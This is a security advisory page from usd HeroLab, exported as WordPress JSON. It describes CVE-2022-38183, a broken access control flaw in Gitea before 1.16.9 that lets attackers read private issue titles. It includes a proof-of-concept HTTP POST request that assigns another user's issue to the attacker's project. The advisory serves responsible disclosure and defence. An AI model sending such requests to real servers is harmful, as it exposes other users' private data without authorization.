{"id":18717,"date":"2022-08-12T15:51:09","date_gmt":"2022-08-12T13:51:09","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=18717"},"modified":"2024-07-24T11:33:38","modified_gmt":"2024-07-24T09:33:38","slug":"usd-2022-0015","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2022-0015\/","title":{"rendered":"usd-2022-0015 | Broken Access Control in Gitea"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.25.1\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h2>usd-2022-0015 | Broken Access Control in Gitea Project Issues<\/h2>\n<p><strong>Advisory ID<\/strong>: usd-2022-0015<br \/><strong>Product<\/strong>: Gitea<br \/><strong>Affected Version<\/strong>: &lt; 1.16.9<br \/><strong>Vulnerability Type<\/strong>: <a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/284.html\" target=\"_blank\" rel=\"noopener\">CWE-284: Improper Access Control<\/a><br \/><strong>Security Risk<\/strong>: Medium<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/gitea.io\/\" target=\"_blank\" rel=\"noopener\">https:\/\/gitea.io\/<\/a><br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>Advisory Status<\/strong>: Closed<br \/><strong>CVE number<\/strong>: CVE-2022-38183<br \/><strong>CVE Link<\/strong>: <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-38183\" target=\"_blank\" rel=\"noopener\">https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-38183<\/a><\/p>\n<h3>Description<\/h3>\n<p>Gitea is an open source project allowing users to host software development version control using Git. It was possible for users to add existing issues to projects. Due to improper access controls, attackers could assign any issue to any project in Gitea. As a result, attackers would get access to private issue titles.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The issue with ID <strong>7<\/strong> in the example below is an issue from a private repository of another user.<br \/>The project with ID <strong>3<\/strong> is the attackers project.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/testuser\/test222\/issues\/projects<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost:3000<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">85<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">sec-ch-ua<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">\"Chromium\";v=\"97\", \" Not;A Brand\";v=\"99\"<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">*\/*<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">application\/x-www-form-urlencoded; charset=UTF-8<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">X-Requested-With<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">XMLHttpRequest<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">sec-ch-ua-mobile<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">?0<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">User-Agent<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/97.0.4692.99 Safari\/537.36<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">sec-ch-ua-platform<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">\"Linux\"<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Origin<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\"><a href=\"http:\/\/localhost:3000\" target=\"_blank\" rel=\"noopener\">http:\/\/localhost:3000<\/a><br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Encoding<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">gzip, deflate<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Accept-Language<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">en-US,en;q=0.9<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">XXX<br \/><\/span><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Connection<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">close<\/span>_csrf=tvK_ourfR_QjoYg7ZTI2i6NFAQM6MTY1NTc0OTYwMTExNjc3MzMwMA&amp;action=&amp;issue_ids=7&amp;id=3<\/pre>\n<\/div>\n<p>The attacker can see the issue (without body text).<\/p>\n<h3>Fix<\/h3>\n<p>It is recommended to restrict access to sensitive functions or information by default.<br \/>Required access privileges should be granted explicitly by a global access control mechanism.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/284.html\" target=\"_blank\" rel=\"noopener\">https:\/\/cwe.mitre.org\/data\/definitions\/284.html<\/a><\/li>\n<li><a href=\"https:\/\/blog.gitea.io\/2022\/07\/gitea-1.16.9-is-released\/\" target=\"_blank\" rel=\"noopener\">https:\/\/blog.gitea.io\/2022\/07\/gitea-1.16.9-is-released\/<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2022-06-22<\/strong>: This vulnerability is identified by Christian P\u00f6schl.<\/li>\n<li><strong>2022-06-22<\/strong>: First attempt to contact the vendor.<\/li>\n<li><strong>2022-07-01<\/strong>: The vendor begins investigating the vulnerability.<\/li>\n<li><strong>2022-07-12<\/strong>: Gitea 1.16.9 is released, the release notes include an acknowledgement: <a href=\"https:\/\/blog.gitea.io\/2022\/07\/gitea-1.16.9-is-released\/\" target=\"_blank\" rel=\"noopener\">https:\/\/blog.gitea.io\/2022\/07\/gitea-1.16.9-is-released\/.<\/a><\/li>\n<li><strong>2022-07-15<\/strong>: The vulnerability is confirmed to be fixed by the vendor.<\/li>\n<li><strong>2024-05-29<\/strong>: This advisory is published.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian P\u00f6schl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2022-0015 | Broken Access Control in Gitea Project Issues Advisory ID: usd-2022-0015Product: GiteaAffected Version: &lt; 1.16.9Vulnerability Type: CWE-284: Improper Access ControlSecurity Risk: MediumVendor URL: https:\/\/gitea.io\/Vendor Status: FixedAdvisory Status: ClosedCVE number: CVE-2022-38183CVE Link: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2022-38183 Description Gitea is an open source project allowing users to host software development version control using Git. It was possible for users [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-18717","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/18717","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=18717"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/18717\/revisions"}],"predecessor-version":[{"id":23118,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/18717\/revisions\/23118"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=18717"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}